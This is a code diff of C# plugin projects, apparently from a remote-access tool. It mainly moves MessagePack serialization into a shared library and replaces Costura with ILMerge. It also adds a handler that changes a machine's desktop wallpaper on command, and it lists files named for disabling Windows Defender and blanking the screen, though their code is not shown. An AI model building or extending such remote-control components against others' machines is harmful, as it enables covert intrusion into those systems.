<Import Project="..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
@ -51,20 +53,36 @@
<Compile Include="FormChat.Designer.cs">
<DependentUpon>FormChat.cs</DependentUpon>
</Compile>
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="FormChat.resx">
<DependentUpon>FormChat.cs</DependentUpon>
</EmbeddedResource>
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\..\MessagePack\MessagePackLib.csproj">
<Project>{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}</Project>
<Name>MessagePackLib</Name>
</ProjectReference>
</ItemGroup>
<ItemGroup>
<None Include="ILMerge.props" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<Content Include="ILMergeOrder.txt" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
</Target>
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
</Project>

View File

@ -1,4 +1,4 @@
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
@ -193,6 +193,7 @@ namespace Plugin
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}

View File

@ -1,3 +0,0 @@
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
<Costura />
</Weavers>

View File

@ -1,111 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
<xs:element name="Weavers">
<xs:complexType>
<xs:all>
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
<xs:complexType>
<xs:all>
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
</xs:annotation>
</xs:element>
</xs:all>
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
<xs:annotation>
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCompression" type="xs:boolean">
<xs:annotation>
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="DisableCleanup" type="xs:boolean">
<xs:annotation>
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
<xs:annotation>
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="ExcludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="IncludeAssemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
<xs:annotation>
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="PreloadOrder" type="xs:string">
<xs:annotation>
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:all>
<xs:attribute name="VerifyAssembly" type="xs:boolean">
<xs:annotation>
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
<xs:annotation>
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
</xs:annotation>
</xs:attribute>
<xs:attribute name="GenerateXsd" type="xs:boolean">
<xs:annotation>
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
</xs:annotation>
</xs:attribute>
</xs:complexType>
</xs:element>
</xs:schema>

View File

@ -1,4 +1,4 @@
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.ComponentModel;

View File

@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8" ?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<!-- -->
<!-- ILMerge project-specific settings. Almost never need to be set explicitly. -->
<!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
<!-- -->
<!-- *** set this file to Type=None, CopyToOutput=Never *** -->
<!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
<ILMergeTransitive>true</ILMergeTransitive>
<!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
<ILMergeLibraryPath></ILMergeLibraryPath>
<!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
<ILMergePackagesPath></ILMergePackagesPath>
<!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
<ILMergeOrderFile></ILMergeOrderFile>
<!-- The strong key file name if not specified in the project -->
<ILMergeKeyFile></ILMergeKeyFile>
<!-- The assembly version if differs for the version of the main assembly -->
<ILMergeAssemblyVersion></ILMergeAssemblyVersion>
<!-- added in Version 1.0.4 -->
<ILMergeFileAlignment></ILMergeFileAlignment>
<!-- added in Version 1.0.4, default=none -->
<ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
<!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
<ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
<!-- See ILMerge documentation -->
<ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
<!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
<ILMergeCopyAttributes></ILMergeCopyAttributes>
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
<ILMergeDebugInfo>false</ILMergeDebugInfo>
<!-- Target assembly will be delay signed -->
<ILMergeDelaySign></ILMergeDelaySign>
<!-- Types in assemblies other than the primary assembly have their visibility modified -->
<ILMergeInternalize></ILMergeInternalize>
<!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
<ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
<!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
<ILMergeXmlDocumentation></ILMergeXmlDocumentation>
<!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
<ILMergePublicKeyTokens></ILMergePublicKeyTokens>
<!-- Types with the same name are all merged into a single type in the target assembly -->
<ILMergeUnionMerge></ILMergeUnionMerge>
<!-- The version of the target framework, default 40 (works for 45 too) -->
<ILTargetPlatform></ILTargetPlatform>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,4 @@
# this file contains the partial list of the merged assemblies in the merge order
# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
# and finetune merge order to your satisfaction

View File

@ -1,102 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

View File

@ -1,84 +0,0 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

View File

@ -1,199 +0,0 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

View File

@ -1,4 +1,4 @@
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;

View File

@ -1,45 +0,0 @@
using System;
using System.IO;
using System.IO.Compression;
namespace Plugin
{
public static class Zip
{
public static byte[] Decompress(byte[] input)
{
using (var source = new MemoryStream(input))
{
byte[] lengthBytes = new byte[4];
source.Read(lengthBytes, 0, 4);
var length = BitConverter.ToInt32(lengthBytes, 0);
using (var decompressionStream = new GZipStream(source,
CompressionMode.Decompress))
{
var result = new byte[length];
decompressionStream.Read(result, 0, length);
return result;
}
}
}
public static byte[] Compress(byte[] input)
{
using (var result = new MemoryStream())
{
var lengthBytes = BitConverter.GetBytes(input.Length);
result.Write(lengthBytes, 0, 4);
using (var compressionStream = new GZipStream(result,
CompressionMode.Compress))
{
compressionStream.Write(input, 0, input.Length);
compressionStream.Flush();
}
return result.ToArray();
}
}
}
}

View File

@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="ILMerge" version="3.0.29" targetFramework="net40" />
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40" />
</packages>

View File

@ -1,4 +1,4 @@
using Plugin.MessagePack;
using MessagePackLib.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
@ -190,6 +190,7 @@ namespace Plugin
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}

View File

@ -1,5 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
<Import Project="..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
@ -35,6 +37,7 @@
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
@ -46,15 +49,32 @@
<Compile Include="Connection.cs" />
<Compile Include="Handler\HandleBlankScreen.cs" />
<Compile Include="Handler\HandleDisableDefender.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Handler\Wallpaper.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Zip.cs" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\..\MessagePack\MessagePackLib.csproj">
<Project>{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}</Project>
<Name>MessagePackLib</Name>
</ProjectReference>
</ItemGroup>
<ItemGroup>
<None Include="ILMerge.props" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<Content Include="ILMergeOrder.txt" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
</Target>
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
</Project>

View File

@ -0,0 +1,40 @@
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Plugin.Handler
{
public class Wallpaper
{
[DllImport("user32.dll")]
public static extern uint SystemParametersInfo(uint action, uint uParam, string vParam, uint winIni);
public static readonly uint SPI_SETDESKWALLPAPER = 0x14;
public static readonly uint SPIF_UPDATEINIFILE = 0x01;
public static readonly uint SPIF_SENDWININICHANGE = 0x02;
public void Change(byte[] img, string exe)
{
string path1 = Path.Combine(Path.GetTempFileName() + exe);
string path2 = Path.Combine(Path.GetTempFileName() + exe);
File.WriteAllBytes(path1, img);
using (Bitmap bmp = new Bitmap(path1))
using (Graphics graphics = Graphics.FromImage(bmp))
{
bmp.Save(path2, ImageFormat.Bmp);
}
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Control Panel\Desktop", true))
{
key.SetValue("WallpaperStyle", 2.ToString());
key.SetValue("TileWallpaper", 0.ToString());
}
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path2, SPIF_UPDATEINIFILE | SPIF_SENDWININICHANGE);
}
}
}

View File

@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8" ?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<!-- -->
<!-- ILMerge project-specific settings. Almost never need to be set explicitly. -->
<!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
<!-- -->
<!-- *** set this file to Type=None, CopyToOutput=Never *** -->
<!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
<ILMergeTransitive>true</ILMergeTransitive>
<!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
<ILMergeLibraryPath></ILMergeLibraryPath>
<!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
<ILMergePackagesPath></ILMergePackagesPath>
<!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
<ILMergeOrderFile></ILMergeOrderFile>
<!-- The strong key file name if not specified in the project -->
<ILMergeKeyFile></ILMergeKeyFile>
<!-- The assembly version if differs for the version of the main assembly -->
<ILMergeAssemblyVersion></ILMergeAssemblyVersion>
<!-- added in Version 1.0.4 -->
<ILMergeFileAlignment></ILMergeFileAlignment>
<!-- added in Version 1.0.4, default=none -->
<ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
<!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
<ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
<!-- See ILMerge documentation -->
<ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
<!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
<ILMergeCopyAttributes></ILMergeCopyAttributes>
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
<ILMergeDebugInfo>false</ILMergeDebugInfo>
<!-- Target assembly will be delay signed -->
<ILMergeDelaySign></ILMergeDelaySign>
<!-- Types in assemblies other than the primary assembly have their visibility modified -->
<ILMergeInternalize></ILMergeInternalize>
<!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
<ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
<!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
<ILMergeXmlDocumentation></ILMergeXmlDocumentation>
<!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
<ILMergePublicKeyTokens></ILMergePublicKeyTokens>
<!-- Types with the same name are all merged into a single type in the target assembly -->
<ILMergeUnionMerge></ILMergeUnionMerge>
<!-- The version of the target framework, default 40 (works for 45 too) -->
<ILTargetPlatform></ILTargetPlatform>
</PropertyGroup>
</Project>

View File

@ -0,0 +1,4 @@
# this file contains the partial list of the merged assemblies in the merge order
# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
# and finetune merge order to your satisfaction

View File

@ -1,927 +0,0 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
